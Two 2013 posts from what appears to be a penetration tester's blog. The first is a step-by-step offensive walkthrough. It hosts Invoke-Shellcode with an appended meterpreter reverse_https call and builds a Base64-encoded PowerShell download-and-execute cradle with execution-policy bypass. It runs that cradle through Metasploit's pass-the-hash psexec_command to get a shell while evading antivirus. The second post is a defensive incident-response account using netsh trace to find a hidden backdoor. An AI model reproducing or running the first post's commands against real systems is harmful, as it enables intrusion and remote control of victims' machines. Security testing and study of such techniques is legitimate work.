Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

Tuesday, March 26, 2013

Capturing Bad Packets with Netsh

I don't write defensive or incident response posts very often, but here goes:

A few weeks ago, a friend shared a problem. For the past 3 days, between 8:30 and 9:00 AM, one of his company's remote servers would initiate an outbound connection to one of 3 different external IP addresses. He noticed the anomaly while reviewing network flow data. The reason he found it alarming was that it was using port 8443 which was allowed outbound by the firewall and was not being proxied.

His first step was to look to see if anything was out of place on the box. He reviewed the event logs and saw nothing out of the ordinary. He also maintains a directory listing of every server's system folder to compare against (awesome idea). He was stumped and wanted to avoid playing his hand or having to travel so he reached out for help. He also shared that his boss was acting strange which led him to believe that they were being red-teamed (which should not happen!).

My suggestion was to use something I learned about while writing Invoke-Twitterbot, a cool feature of Windows 7 and newer systems called Netsh trace. This allows you to do full system event tracing as well as packet captures without installing any additional software on the target system. The command looks something like this:

netsh trace start capture=yes maxSize=10MB tracefile=c:\capture.etl
For obvious reasons, he didn't want to interactively logon or use psexec to administer the potentially compromised machine. After some discussion, he opted to use the Invoke-WmiMethod in PowerShell to start the netsh capture remotely at 8:30 the next morning.

After pulling the etl and cab files down, he let me have a look at them. In order to view the output, you need to install Microsoft's Netmon. Using the "Windows Parser" you can clearly see the strange traffic:


The traffic was easy to correlate to successful login events, but there were 2 processes that seemed to tell a lot of the story. One process was for BGinfo which I confirmed was an allowed application that was left in the startup folder (not a good practice).


The other process that is created around the same time was for a bginf.exe. After looking at the behavior of the actual BGinfo, we determined that it doesn't leave a process running and it most definitely isn't started like this:


We had discovered a pentester's clever persistence mechanism. He or she had used the built-in Microsoft utility iexpress to hide their backdoor in a file that already existed in the startup directory. After pulling down the binary and extracting the bginf.exe, it was pretty obvious:

Results from http://vscan.novirusthanks.org/ 

A quick note, be careful submitting samples to VirusTotal or any online scanner. It could definitely tip your hand.

So now we know there is something bad persisting on the server. How did it get there? What credentials did they steal? How far are they in the network? What do I do next? All valid questions that we all have to figure out each time a compromise is discovered whether its a red team or not.

Thanks for reading and maybe someone else will find this netsh trick useful in an IR situation.

-Chris